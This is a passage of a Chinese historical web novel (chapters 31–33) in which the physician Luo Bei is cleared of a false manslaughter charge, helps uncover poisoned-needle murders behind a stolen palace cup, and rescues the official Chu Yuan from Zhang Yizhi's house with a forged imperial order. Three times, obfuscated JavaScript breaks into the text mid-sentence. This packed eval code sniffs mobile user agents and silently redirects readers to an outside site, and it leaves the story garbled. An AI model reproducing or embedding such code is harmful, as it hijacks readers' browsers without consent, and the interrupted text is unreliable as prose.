那赵班主一看方子,开的都是些平价草药,知道洛北是顾念他们赚钱的艰难,不由得千恩万谢地退开了。一众戏班子的都交口称赞。台下更是人声鼎沸,更有几个立刻掏钱要请洛北去看诊。 洛北一一婉拒,好容易才挤出人群。王翰和张孝嵩又向他深深一鞠躬,把他搞得哭笑不得:“我说两位就没必要这样客套了吧?” “哪里是客套?”王翰正色道,“我王翰生平最佩服三种人,一种是治世安民的良臣,另外一种是守边安民的大将,还有一种便是洛公子这样悬壶济世的良医。更何况当日公子在祆寺外的救命之恩我还没有报答。” 张孝嵩的言辞比他简单不少,只抱拳拱手道:“洛公子今日解围之恩没齿难忘,他日若有用得着我的地方,我赴汤蹈火在所不辞。” 洛北摆了摆手:“两位言重了。我正和伷先一道去办点事,若蒙不弃,不如同去?” 31. 第 31 章 四人结伴一道进了巷中,那地方是个极为宽敞的院落,场中央,四个赤膊大汉正在捉对厮斗,另外两个正在观看。还有两个人正在一边研究一块桌子,一会儿从桌下捞出一个火盆,一会儿把火盆变了个鱼缸,隐约的丝竹管弦声从厅堂中透出来。 正堂中有两个胡姬舞女随管弦起舞。有个体型庞大的女郎正倚在一张卧榻上看她们跳舞,她一身武师打扮,套着褐色的短褂和阔腿裤,还在腰上紧紧扎了一道大红丝绸。 此刻有个舞姬踏错了步子,她忙拍手停了乐曲道:“安亚!错了,刚刚那个乐步是往后不是往前!你们只有两个人,所以可以如此放肆,你想着,要是有个七人或者八人的规模,你就要和后头的女孩撞一块儿了!” 那舞姬垂头答是。女郎本要叫乐班子再奏乐曲,却看到洛北一干人等,不免奇道:“几位是怎么找到这儿的,我这两个月都不得空接其他的场子,要赶着把宫里的表演排出来。” 裴伷先道了个礼:“我姓裴,名伷先。姑娘可是图雅小姐?” “我是。我听过你的名字,你的生意在西域做得很大,而我是个去过西域的契丹人,怎么了?大名鼎鼎的裴老板也想看看我们这套?”图雅小姐歪了歪头问。 “图雅小姐有要务在身,我当然不敢打扰,只是一个叫胡四的里正遣我来替他美言几句。” 图雅略带羞涩地一笑:“哦?他真是这么说的?”忽而又皱了皱眉头:“他难道打算找人上门说媒?” “这倒不是,”裴伷先道,“他只是让我来面前替他——” “美言几句?”图雅冷哼一声,“这些日子,他已经派各色人等到我这里来替他美言几句了!你裴老板算是名声响的。罢了,我不说答应,也不说不答应,且看他运气吧。这家伙倒是有几分意思,可我也是个有规矩的人。” 洛北笑道:“麻烦的是好像胡四也是有规矩的人。不过,我和裴老板可以作保,这个胡四是个意气中人,干练可靠,也有稳定的进项。” 图雅笑道:“这些倒不用你们说,好了,你们去吧。来啊,把刚刚那首曲子再演一遍,乐班,吹打起来!” 他们从巷中走出来,戏台子已经撤了,人群也各自散去。王翰便喊着众人一道去喝压惊酒。裴伷先知道洛北不喜欢应酬,不免看了他一眼。 洛北道:“左右无事,不如一道去了。” 王翰家的珠宝铺子不开在热闹的街上,而是在郊外洛河边一处风景幽静的花园里,装饰得十分华贵美丽,帘幕低垂,雕梁画栋,一看便是京中贵人们喜欢的地方。 几人上到三楼,坐进一处安静的雅间。王翰一马当先,先半靠半卧在了主人榻上,又叫仆役们快快地把好酒好菜端上来。张孝嵩比他端正些,也将一腿支起,靠着隐囊,笑着坐定。 洛北和裴伷先各自坐下。仆役们就端着各色瓜果糕点、美酒茶水,流水一样地走了进来。因了在座的都是要吃酒的郎君们,还摆上一个热腾腾的炉子,上头烧些新鲜鹿肉,两边摆了杏酱,还有些鹌鹑野鸡一类的配菜,光席面便摆的老长。 裴伷先扯了扯洛北,悄声对他道:“公子往日总觉得我排场太奢靡,如今一看,可知道我素日的节俭了吧。” 洛北猜到裴伷先是起了属于商贾的争胜之心,只是一笑:“此一时彼一时,当初在突厥,我总不能让你的摆场大过默啜大汗。如今你要摆排场,我不拦着你。” 裴伷先哈哈一笑道:“既然如此,公子便看我的吧!” 王翰见他们说笑,便问:“两位在议论什么?” “在议论下一顿大酒怎么摆。到时候,还要请王公子和张公子赏光。” “这是自然,只有一条,我这个人喜好美酒,没有好酒,我可不去!”王翰道。 张孝嵩说:“还没开席,你这个主人家就说起下一顿酒的事情了,当罚!” 王翰大笑道:“是我的过错,孝嵩你说,怎么罚?罚我痛饮几杯?” “痛饮几杯岂不是对了你这酒虫的心意?就罚你以‘酒’为题,写一首诗来!”张孝嵩指了指一边的香炉,“香燃尽之时,你要把这首诗写出来,不然下顿大酒,还是叫你做东。” 王翰豪富出身,自然无所谓再请一顿客,但他一向以名士自居,此刻哪肯落入下尘。当即叫下人点起线香,自己拿起毛笔,苦思冥想。 正在这时,却有个下人低着头怯生生地来了: “王公子,外头有个难搞的客人,掌柜的说,正好您在这里,不知道可否麻烦您出面看看。” 王翰有些愠怒:“没看到我正在宴请宾客,怎么这个时候拿这些事情来打扰?” “何必对这小厮发火。”洛北笑道,“我下去看看吧。” “哪里敢劳烦公子?”王翰还要客套几句。 洛北笑道:“不麻烦,伷先,替我看着王公子,不许他作弊。” 裴伷先高声应了。洛北便起身跟着下人穿过一道回廊,走进设在洛水畔里的水榭中。 正值冬日,水榭三面都用厚帘子围着,只留下一面面水的取景,水边有几丛芦苇向着蓝天,几只飞鸟掠过天际,预备着飞向南方。 洛北见烧得火热的炉子上茶水正在呜呜鸣叫,只提过那壶,往客人的杯中续了一回水:“两位贵客有什么事?” 那两人都戴着长纱风帽,一直未摘,显然是京中的贵女。此刻听了洛北的话,身量小些的那个开口拍了下桌子,正要发作,却被身边人拦住了: “我怎么不知道洛公子什么时候成了这座珠宝行的主人?” 声音清润,竟是褚沅。 洛北只得躬身对她道礼:“不瞒褚女史,这里的主人王翰王公子是我的朋友,他托我下来看看情况。” “好无礼的主人家!”另外一个女郎当即摔下风帽,露出一张气鼓鼓的少女面容,她看上去比褚沅更年少些,“在我们的面前,也敢摆架子!” “珍娘。不可这样。”褚沅无奈,只好摘下风帽,温言对那女孩说了几句要顾全大局之类的话。又对洛北道:“这是宫中的掌宝女官,名叫曹珍娘。她在鉴宝上颇有心得,在宫中被我们惯坏了,还请洛公子不要见怪。” 洛北当然不会和一个十来岁的姑娘计较,只从桌上端了碟荷花酥递到曹珍娘面前:“我代主人家向曹掌宝赔罪。” 曹珍娘见他谦卑模样,大为满足,捡了个样子最好的吃了:“这地方东西做的不好,吃的倒是做的不错。” 洛北只是一笑,又问褚沅道:“还不知道这位曹掌宝在宫中是什么职务?” 褚沅知道他不懂宫中制度,温言替他解释:“宫中有六尚二十四司及宫正司,掌宝女官便是隶属尚服局下的司宝司管辖的,负责管理瑞宝、符契、图籍等物。此次我们前来,是有一件密务要办。” 洛北略一沉吟,便推出了褚沅此行的目的:“宫中丢了东西?” 曹珍娘瞪圆了眼睛:“你怎么知道?!莫不是你偷的?” “我只是推测。毕竟能劳动褚女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281653|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史带着曹掌宝亲自出宫来的事情,一定不同寻常。”洛北半恭维半试探地问。 褚沅点了点头,将宫中丢失嵌玉犀角杯的始末讲了一遍,末了又道: “此事不可声张,我和珍娘已在这些日子跑遍了洛阳城的大小珠宝行、古玩店,所见的犀角杯没有一千,也有五百。但始终不见这只犀角杯的踪迹。” 洛北说:“请褚女史听我一言,此物既然为高昌国的至宝,必然名贵异常,若是出现在市场上,不会没有人听闻。说明偷窃此物的贼人必在出手之前就已经找到了买家。” 褚沅抬头看他,眼中流露出赞赏之情:“我也这么觉得,若是寻常贼人,进了琳琅满目的皇家内库,哪里只会拿这样一件显眼的杯子?宫中多的是金银宝贝,只要出宫一融,任谁也查不出下落。” 洛北知道她苦恼的是证据不足:“可惜,总不能靠推论将人定罪。” “定罪是后话了,当务之急是叫他们把东西交还回来。”褚沅苦笑道,“如果过年之前杯子还没有出现在女皇面前,还不知道宫中有多少人遭殃。” 曹珍娘全然听不懂他们这语焉不详的谈话,只把一双圆圆的眼睛在他俩之间望来望去: “褚姊姊!你和这位公子在打什么哑谜?什么定罪,什么交还回来,你们知道是谁拿的了?” 褚沅正要斟酌词句答她。外头忽而传来一阵大呼小叫: “洛公子,洛公子!不好了,外头有洛阳府的官差来了,指名道姓地说要抓你呢!” 洛北不明就里,只得跟着仆役们一道出去了。褚沅和曹珍娘怕此事与宫中有涉,也一道戴上风帽跟了出来。走到门口,王翰和裴伷先已经在和官差理论: “此事全是洛公子仗义出手,当时那孩子明明已经恢复了呼吸,这哪能算得上是医治不当!” “就是,围观的那许多人都可以作证!” 那衙役一手拿公文,一手推着他们:“这公文上写的明明白白,兹有班主赵头控告郎中洛北,医治不当,过失杀人。我们只管拿人,审案要到县令老爷的堂上去审!” 张孝嵩站在楼内,见到洛北匆匆赶来,面露愧色:“洛公子,你先别出去,都是我把你牵扯到这件事情里来的。” “孝嵩说的哪里话。”洛北不明就里,“这是怎么回事?” 张孝嵩道:“之前那个戏班的孩子还是死了。戏班的那个赵班主一纸诉状把你告到了洛阳县衙门,说是你医治不当,才造成如此大祸。” 洛北对自己的医术素来自信,此刻也不禁迟疑了一瞬:“怎么会这样?我看那孩子的脉搏无事,孝嵩的剑也没有刺到要害,最多是失血过多,休息几日就好了呀?他们可有什么证据?” 张孝嵩摇了摇头,眼看着几个衙役要往楼里闯,当即拔出腰间的佩剑,挡在了洛北面前:“洛公子放心,我绝不让你独当此罪。” “不至如此,孝嵩。”洛北拦住他,“衙门是审案的地方,不如我就去一趟,能把真相查明,也算还死者一个清白。” 张孝嵩哪里肯愿意:“洛公子,如今担任洛阳令的可就是张易之、张昌宗的族弟张昌仪,素来是个只认金子不认人的货色,你要到他的堂上去查明真相,你打算怎么查?” 他们正在争执,褚沅已经从一边走了过来,声音温和:“洛公子,恐怕还是要劳烦你去洛阳县衙一趟。” “褚姑娘有什么见教?”洛北问。 “来抓捕你的人里,有几个是张易之的心腹家仆。” 32. 第 32 章 事情闹出这样大的阵仗,那衙役本以为自己不能轻易将人带走,没想到洛北束手就擒,让他更加得意。他晃了晃锁链,向洛北伸出一只手:“好个小子,为了抓你,从你那破宅子一路跑到这儿,好长的一段路啊,少墨迹,先把爷爷们的鞋底钱交出来。” 褚沅自袖中掏出一贯铜钱,示意曹珍娘递给那衙役。曹珍娘自是从没受过这个委屈,不情不愿地去了。 谁料那衙役看了铜钱,一抬手将铜钱扔到了一边,开口骂道:“就这点钱?你当打发叫花子呢?” “你这贪污受贿的坏家伙,给你银钱就不错了!还敢挑三拣四。”曹珍娘柳眉倒竖,气得当场发作了起来。 褚沅神色一变,忙把曹珍娘拉了回来,又对衙役赔礼:“这是我家小妹,从小被我惯坏了,还请衙役大哥不要同她一般见识。” 裴伷先也忙从腰间的荷包里拿出一锭金子递到衙役手中:“是是是,还请衙役大哥不要同这女孩子计较,这点小钱不成敬意,请各位大哥喝酒。” 衙役收了金子,嘴上还不肯饶人:“要不是看在有公务在身,老子先定你个藐视公堂之罪。”他一边将金子收到怀里,一边将原本预备加在洛北的镣铐除去,换成了更细的轻绳,“走吧。” 洛阳县衙的公堂下已是人头攒动,等到张昌仪走出来,坐上公堂,嗡嗡的低语声才渐渐停止。张昌仪的年纪比洛北大不了几岁,生得仪表堂堂,只是精神有些萎靡,他打了个哈欠:“堂下何人,报上名来。” 戏班的赵班主哭着跪在地上:“小人是戏班子的班主赵大,求青天大老爷做主!我那侄儿原是好好的,经这庸医之手一治,竟治死了人。”说罢,哭哭啼啼地跪在地上。 洛北被他的胡搅蛮缠气乐了:“赵班主,既然是一个好好的人,你为什么要请郎中来医治呢?” 赵班主一时语塞,不再说话。洛北将案件始末一一说了一遍,又道:“草民行医数载,并未出现过一例类似的情景,此案殊为可疑,草民请张大人传仵作验尸。” “身体发肤,受之父母,他父母已经死了。我怎么能这样对待这孩子呢。”赵班主连声哀求,他一边说,一边从袖中掏出几块金块,暗中递给张昌仪。 洛北略皱了皱眉,一个戏班的班主,到底从哪里搞来的这许多金块。 看在金块的面子上,张昌仪装模作样地一拍醒堂木:“赵班主言之有理,哪有人死了还要糟蹋尸首的道理?洛北,你这庸医误杀人命,还敢顶嘴,来人,先给我打个十板子,以儆效尤!” 裴伷先当场变了脸色,正要摘下身上的一块玉佩去替洛北说项。王翰也掏出怀里的金子往他手里塞。 张孝嵩不管这许多,他一手放在剑上,立刻就要冲上堂去替洛北解释。可他还没迈动步子,只见一个紫色袍服,头戴长纱风帽的少女先走上了堂: “且慢。” 褚沅从怀里拿出一只令牌,举在张昌仪面前:“张大人就是这样审案的?当真是叫我大开眼界。” 那金字令牌有一朵牡丹,刻着“代天巡牧”四字,张昌仪顿时一惊,当下跪倒行了个大礼:“下官不知道女史大人大驾光临,未曾远迎,还女史恕罪。” 褚沅摘下风帽,站在了公堂之上:“张大人,若不是我代女皇陛下巡查民间,还真不知道你竟然是这样审案子的。” 张昌仪这才认出这是褚沅,不由得暗在心底骂了一句倒霉。 他听女皇男宠张易之兄弟说过,女皇身边的几个女官各有司掌,褚沅品级最低,却是唯一一个奉命行走暗处,替女皇处理一些灰色事务的人。 经过褚沅过手的秘密不知多少,栽倒在她手上的官员也不知有多少。她看着温和无害,却是个心狠手辣的角色。 张昌仪实在不知道自己怎么招惹上了她,不免跪得更低了:“此案错综复杂,下官一时不察,还请褚女史指正。” “起来吧,张大人。”褚沅冷笑一声,“面对一桩杀人凶案,竟然连验尸这样的必要流程都敢省略。回去我就要参奏女皇,治你个不察之罪。” 张昌仪只敢唯唯诺诺几句,不敢同她顶撞,只得当堂传了仵作来验尸。 那仵作年岁也高,颤颤巍巍地上堂来,穿戴好一身衣物,老老实实地围着尸首走了一圈,开口道:“死者面容安详,无挣扎痕迹,身着粗布衣裳,衣物完好,无撕裂或破损,左侧胸膛发现一处刺伤,伤口直径半寸,未伤及要害。伤口已做包扎,周围无明显血迹。” 赵班主一听,倒像是抓住了救命稻草:“大人,大人,这孩子身上只有一处伤痕,要不是这庸医治错了病,他怎么会......” “褚女史。”洛北开了口,“我想请仵作割开伤口处看看。” 赵班主还要叫什么,褚沅已经点了头。仵作只得依言取出小刀,往那孩子的伤口处划去,忽而他的刀子像是被什么卡了一下,他忙伸手去摸那伤口,竟在里面摸出一根短短的淬毒银针。 仵作神色一变:“这,这,两位老爷,这银针刺入胸膛,毒药侵入五脏,当是死者的死因!” 洛北神色平静如常,好像早就知道:“赵班主,你为了一己之私,谋害自己的侄子,你还有什么话讲?” 褚沅轻轻一笑,开口给他搭了台子:“洛北,你为什么指责这班主杀人?” “褚女史,其实这案子只有几个疑点: 其一,当时在戏台上把那把真剑递给张孝嵩的人是谁?要知道,真剑假剑虽然外表看着并无区别,一个实心,一个空心,分量可是大大不同。 其二,是谁受命看护这孩子?又有谁在这孩子躺在病床上的时候前来看望? 其三,银针入体,也是十分疼痛,又是谁一贯为这孩子信任,能叫他眼睁睁看着银针刺入而不呼救? 以上这三个问题只要连起来,答案便昭然若揭——能做到这一切的,只有这孩子的叔叔,戏班的赵班主。” “赵班主,你还有什么话说吗?”褚沅喝问道。 赵班主胡乱磕了几个头:“我,我冤枉,这小子所说的都是推论,哪里有半分证据?” 洛北正要开口,却听到后面一阵吵嚷,又有一群人趋到近前。 这群人甚是古怪,一个小个子走在前头,衣裤都已经破烂,鼻青脸肿,满身青紫,显然是挨过拳脚。图雅小姐跟在他身后,呼呼喝喝地叫他往前走,一个婢女替她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281654|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撑着一把伞,亦步亦趋地跟在后头。 图雅小姐行到案桌前,冲那小个子喝令一声,那小个子赶忙跪倒在地。图雅往堂上一看,看到正是褚沅站在台上,忙低头道礼:“呀,怎么是褚女史在此审案?” “图雅小姐。”褚沅道,“先前女皇已经免了你跪拜之礼,请你不要多礼,坐下说说这是怎么一回事吧。” 已有机灵的衙役为图雅小姐设了座。图雅坐在椅子上,翘起一只腿: “今日午后,我本在操练入宫表演的节目。这个人溜进了我的院子,晕倒在地。我好心施救,谁知道他竟然想使阴招,踢我的小腹。哼,这家伙实在是道行太浅,我往旁边一闪,虚晃一招,等他抬起头时,就抓住他的双肩,把他提起来摔倒在地,然后就把他提到这里来了。” 褚沅问那小个子:“你为什么要溜进图雅小姐的院子?” “小子一向是以偷盗为业,前个和戏班主子一道成了笔宫里的大买卖,谁成想,分赃的时候竟被他的侄儿看见了!那戏班主把我该得的给了我,招待我一杯茶,就叫我快走。我走到院外,才发现茶中有迷药,晕晕乎乎的倒在地上。” 小个子唉声叹气地禀报:“谁知道,醒来的时候竟然撞上了这个,这个......” “小娘子!”图雅小姐俯身凑到那人面前,厉声说道。 “叫这母大虫离我远点!”那小个子惊恐地大喊,“你们都不知道她把我摔倒之后又干了什么,她,她.......”说到这里竟然大哭起来。 “不许哭!”褚沅一拍惊堂木,命道:“赵班主,你可认罪?!” “小人认罪,小人认罪!”赵班主磕头如捣蒜,“但小人一人也不能做下偷盗的大案,小人是受人——” 他话到这里,忽而僵在原地,一动不动地倒了下去。洛北快走几步,在他身上一摸,果然在心口处摸到一枚银针。他将银针拔出,果然在上面闻到一股腥气:“好霸道的毒。” 洛北摸了摸那赵班主脉搏,果然已经没了动静。他和堂上的褚沅对视一眼,脑子里都不禁闪过了杀人灭口这几个字。 褚沅当堂宣布将那小个子收监押回宫中处置,等问出更多内情再统一发落,又令人将尸首收敛,予以统一安葬,将洛北当堂无罪开释。她处置完这些事情,就走下高台,一个字也不和洛北说,就带着曹珍娘走了。 张昌仪也不敢再摆一点架子,只匆匆宣布退堂了事,留下一地哄笑。 图雅小姐带着侍女也离开了,口中还念念有词:“替我好好的打着,马上要再次入宫觐见女皇,可不能让太阳多晒了我,免得她老人家认不出来.......” 洛北揉了揉自己的手腕,看着裴伷先、王翰和张孝嵩都围上来:“洛公子,没事吧?” “有惊无险。”洛北心中另有一层隐忧,但褚沅已经离开,他没办法再说什么。只与众人说笑着,要回去继续那场未完的酒席。 他们走到官道上,却有大理寺差人打扮的人来寻洛北。那人对洛北道了个礼:“洛公子,桓少卿说,明日宋璟相公会召张昌宗入肃政台升堂审讯,他会作为观政一道前往,还请洛公子作为从旁证人一道参加。” 33. 第 33 章 洛北洗清冤屈,二张奉命受审,这都是值得慷慨高歌的大好事。洛北等四人共同宴饮,一直到了半夜才结束。王翰喝多了酒,早沉沉睡去。裴伷先也因第二天有事,回房休息了。 洛北却睡不着,他顺着连廊走到洛水边的水榭处,冬风吹拂,吹得他神智分外清明。 “洛公子。”张孝嵩在他背后喊他,“怎么,睡不着?” “心神不宁。”洛北勉强笑笑,像是拿不定主意,问张孝嵩道:“你觉得,明日宋相公能发落得了张昌宗吗?” 张孝嵩摇了摇头:“不知道,这要看宋相公有没有滥用私刑的决心。” “滥用私刑的决心?”洛北笑着追问。 “洛公子这是明知故问了。张易之、张昌宗兄弟之所以能权倾朝野,所能依靠者,女皇而已。”张孝嵩低声道,“只要女皇在一日,这两兄弟绝不可能会在正常的司法程序里被扳倒。除非宋相公下了决断,当堂用私刑将张昌宗打死。” 洛北轻轻一笑:“孝嵩说的对。” “不过,洛公子应该不是因为这件事情心神不宁吧?”张孝嵩好奇问。 洛北不知从何解释,却听到门外有人高声呼喊,当场神色一变,快步跑到前厅:“什么人?” 下人忙替他打开了门,曹珍娘红着双眼站在门外,见到他宛如见到了救世甘露:“洛公子,求求你,求求你救救褚姊姊吧!” 张孝嵩反应了会儿“褚姊姊”是何人:“你所说的,是今日堂上的那位紫袍女官?她是女皇亲信,她会有什么事情?” 不问还好,一问曹珍娘的眼泪就止不住:“是我,是我害了褚姊姊。我不敢,我不敢去宫里找其他人,只能来找你,洛公子.......你就看在今天公堂上她救过你的份上,救救她,好不好?” 洛北额上已经微微出汗,语气却镇静温和,仿佛有安抚人心的力量:“珍娘,你不要着急,告诉我,到底出了什么事情?褚沅现在在哪里?” “她在,在张易之的府邸里。”曹珍娘好容易喘匀了气,开始叙述此事的始末。 原来褚沅和曹珍娘押着那小个子进宫复命,路上竟碰到了张易之的车队,张易之是进宫替自己弟弟向女皇求情的。见到褚沅,他就停下来同褚沅叙话,两人一问一答,不过半刻工夫。再起行时,那小个子盗贼已经死了——死状同其他人一模一样,也是被银针刺入心脏。 褚沅和曹珍娘这下都知道是谁想要杀人灭口。只是没有证据,她们无法向女皇禀报,只得返回自己的住处,想新的主意。 结果日暮时分,张易之特地派人送来一张请帖,邀请她们一道去张易之府上做客。 “这是要杀人灭口。”洛北忍不住道,“你们俩都不该去。” 曹珍娘委屈道:“我也这么觉得,只是褚姊姊说,张易之正在为了张昌宗的事情着急上火,不去定会被他拿住把柄,被他在女皇面前告状。就带着我去了。”她擦了擦眼泪,又继续说道: 张易之府邸华贵,摆下的宴席也十分丰盛。席间有个戏法师来表演戏法,先是取了褚沅的杯子藏起,又变出了宫中丢失的那只嵌玉犀角杯。 张易之说:“褚女史明察秋毫,实在叫我佩服。如今这杯子完璧归赵,褚女史可否答应我,不再追查?” 褚沅笑道:“当然可以,只消五郎与我一起编个理由,就说五郎六郎进宫时,下仆失手错拿,如今下仆已被处死,并把那小个子飞贼和班主的尸首交出去,如何?” “就按照褚女史说的办。本来区区一个破杯子,也不必褚女史出面调查。”张易之端起一杯酒,敬给了褚沅。 曹珍娘此刻却按耐不住:“什么叫区区一个破杯子,就为了这只杯子,宫里死了三个姊姊!” 张易之笑着的脸一下子就冷了,褚沅也勃然变色,她一拍桌子,对曹珍娘喝道:“胡说八道什么,给我退出去!” 曹珍娘自知闯了大祸,只得灰溜溜地退了出来,那些下仆也都逐一退了出来,要将门关起来。 临关门前,她只听到褚沅说:“这丫头自小在宫里被我们惯坏了,还请五郎满饮此杯,不要为了她败了雅兴。” 张易之笑道:“满饮此杯,当然可以。放过那丫头,也可以。只要褚女史肯为我作一舞,佳人在侧,说不定我就能忘却此事。” 曹珍娘说到这里,张孝嵩忍不住打断:“张易之可是侍奉女皇的宠臣,他怎么敢轻薄女皇身边的女官?” “张易之是想逼死她。”洛北长长地呼了一口气,“孝嵩,你忘了,当年上官婉儿觊觎女皇宠臣,被女皇施以黥刑。后来她为了遮掩,在眉间点上梅花。权倾一时的上官内相尚且如此。褚沅又算得了什么?还好珍娘没进宫报信,否则如今局面已经不可收拾了。” 曹珍娘更着急了:“这,这怎么办,洛公子,你想想办法,想想办法好不好?” “这是个死局,想要解开只有走险招。”洛北斟酌再三,终于下了决心:“珍娘,你能回张府一趟吗?” “洛公子打算怎么做?”曹珍娘收住眼泪,问道。 洛北沉声道:“我要你假传圣谕,把你的褚姊姊骗出来。” “我能行吗?”曹珍娘有些瑟缩。 “只有一试了,对了,珍娘身上可有什么圣上御赐的东西?”洛北问。 曹珍娘想了想,从腰间摘下一只金鱼袋:“进张府之前,褚姊姊把她的金鱼袋给了我。” 洛北神色一变,他接过金鱼袋,端详一眼,苦笑道:“果然……她已经知道了。” 张孝嵩替他们驾了马车,挂了马牌,一路疾驰到张府门前。那府里张灯结彩,分外热闹。 曹珍娘已换了件半新不旧的锦缎宫装,上前猛地敲门,高声嚷道:“圣上口谕,召女史褚沅入宫觐见!” 几个下人替曹珍娘开了门,洛北紧随在她身后。 他也略微改换容貌,贴上胡须,披了件宫中侍卫的暗纹红圆领袍。腰刀换成了那把印有狼头的,曾属于东突厥突利可汗的宝刀。 “张易之何在?褚沅何在?他们为什么不出来接口谕?”曹珍娘鼓足勇气,高声喝道。 “张昌宗的谋反案尚未查清楚,来了个张易之又想公然谋反。”洛北冷声喝道,“不想要脑袋了吗?!” 他这话说得实在诛心,片刻功夫,正堂的门开了,张易之整了整新披的衣裳,施施然走了出来:“微臣张易之恭迎圣上口谕。” 褚沅跟在他身后半步,鬓发散乱,脸色苍白,跌跌撞撞地跑了出来,她顾不上整理身上凌乱的衣裳,当即跪倒在地:“奴婢褚沅恭迎圣上口谕。” “圣上说,朕唯思李弘泰一案关系重大,明日付诸廷议之前,朕还有些细节要问褚沅。”曹珍娘演出十二分的气势,“褚女史,圣上正在等你,进宫吧。” “奴婢领旨。”褚沅起身要走,张易之却道了句:“慢着……” 众人心中都是一凛,洛北更是已把手往刀柄上放。 “圣上既有口谕,不知道可有信物啊?别是有人假传圣旨吧?”张易之问。 “大胆张易之!”曹珍娘喝道,“有圣上御赐金鱼袋在此,你还敢多问?要不就请你张大人一道进宫,问问女皇陛下可有这道口谕?” “微臣不敢。”张易之见到那金鱼袋,不由得神色复杂地看了一眼褚沅,她神色平静一如往常,并不向他投来一个眼神。 褚沅起身,跌跌撞撞地走了两步,被曹珍娘一把扶住。两人起头,洛北断后,一步一步地出了张府大门。 一出门槛,褚沅就彻底站不住了,她走了几步,差点带着曹珍娘一起跌下台阶。洛北忙扶住她臂膀,让她借力在自己身上:“我扶你走,褚女史。” “多谢。”褚沅也不和他客套,借着他的力道,一步步挪到了马车上。 她好容易上了马车,再没有一点力气,彻底瘫倒下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281655|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。洛北只好让她靠在自己肩上,好让她休息得舒服些。 张孝嵩驾起马车,往洛北的住处飞驰而去。 洛北脱了自己的外袍,替褚沅披在身上。 褚沅抬头本要道谢,明亮的月光从车窗那边照进来,落在她一头一身的伤痕上,尤其是脸上一道五指印,显得分外可怖。 曹珍娘好容易刹住车的眼泪又落了下来: “他们竟然这样欺负褚姊姊,我要到女皇面前去告他们的状!” 褚沅轻声制止她:“珍娘,你还记得,你的司宝姐姐是怎么死的吗?” “记得。”曹珍娘低下头,她还记得司宝被拖出大殿时的哭喊,和一声声冷酷的板子声,司宝哭得撕心裂肺,最后高喊了一声“娘”,就断了气。 “倘若你不想让我和你的司宝姐姐落得一样的下场,今天的事情,一个字都不能说出去!”褚沅厉声道。 她此刻鬓发散乱,声色俱厉,有如厉鬼,曹珍娘被她吓到了:“我发誓我不说就是了,褚姊姊你好好休息,不要再生气了。” 褚沅这才温和下来:“不是我有意吓你。珍娘……” “上官姑姑的事情,洛公子已经和我说过了。”曹珍娘低头道,“可是……这件事情又不是褚姊姊你的错。明明是张易之强迫你的!” 褚沅低低地咳嗽两声,咳出些呛在气管里的酒液:“珍娘,你不明白……在这宫里,对错并不重要,重要的只有上下尊卑,只有亲疏远近,只有……权力。” 她话到末尾,声音已近泣血。洛北不好劝她,只能悄悄地在早备好的半桶冰水里打湿一张丝棉帕子,一下下地,替她敷在脸上消肿化淤。 曹珍娘哭着问:“……我不明白,褚姊姊,我不明白,她们都说女皇最信任你,不然不会允许你游走民间,为她收集秘密……她为什么不肯偏袒你,非要偏袒那两个坏家伙?” 褚沅正要说话,洛北已经替她开口:“……知道太多秘密,并不是件好事。” 他用一贯温和沉静的声音替曹珍娘解释:“女皇信任你褚姊姊,是因为她除了女皇的信任之外什么都没有。” “我不明白……” “你褚姊姊今年才十六岁吧,做了这个职务几年?两年?三年?”洛北又单手拧了张手帕,继续刚刚的动作,“在她之前担任此职务的人,她们去了哪里?还活着吗?宫中还有人记得她们吗?” 褚沅似乎很意外他会知晓此事,勉强抬头看了他一眼,目光竟有哀伤神色。她勉强支撑起来,开口正要说什么,却被什么呛住。她连着咳了一阵,实在支撑不住,又昏倒了下去。 洛北慌忙把她接在怀里,伸手试她脉搏,一试才放心下来:“无事……想是刚刚被人强灌了酒,酒液呛了些许进气管,咳出来就没事了。” 曹珍娘擦了擦眼泪:“坏人……那两个坏人,我再也不要在他们玩游戏的时候替他们数筹码了。” 洛北轻轻叹了口气,伸手将褚沅垂在额前的乱发拨在耳后,转头看着车外霜月似雪。 不知多久,马车终于停了,张孝嵩替他们拉开车帘:“洛公子,咱们下车吧。”他看着这一车氛围闷闷,不解其中缘由:“这是怎么了?” 洛北把思绪收回,答了句:“没什么,多谢孝嵩。” 他把褚沅抱下马车,送她进了卧房。又自己动手将两间客房的铺盖安排妥当,请珍娘和张孝嵩分别安歇。 张孝嵩看了看,没找到第四张床铺: “洛公子不打算睡觉了吗?” “我以前在塞外的时候,也通宵达旦过。”洛北坐在了石桌边,“一夜不睡不是什么大事。” 他看向张孝嵩,语带愧疚:“这件事情实在凶险,本来不该连累孝嵩。” 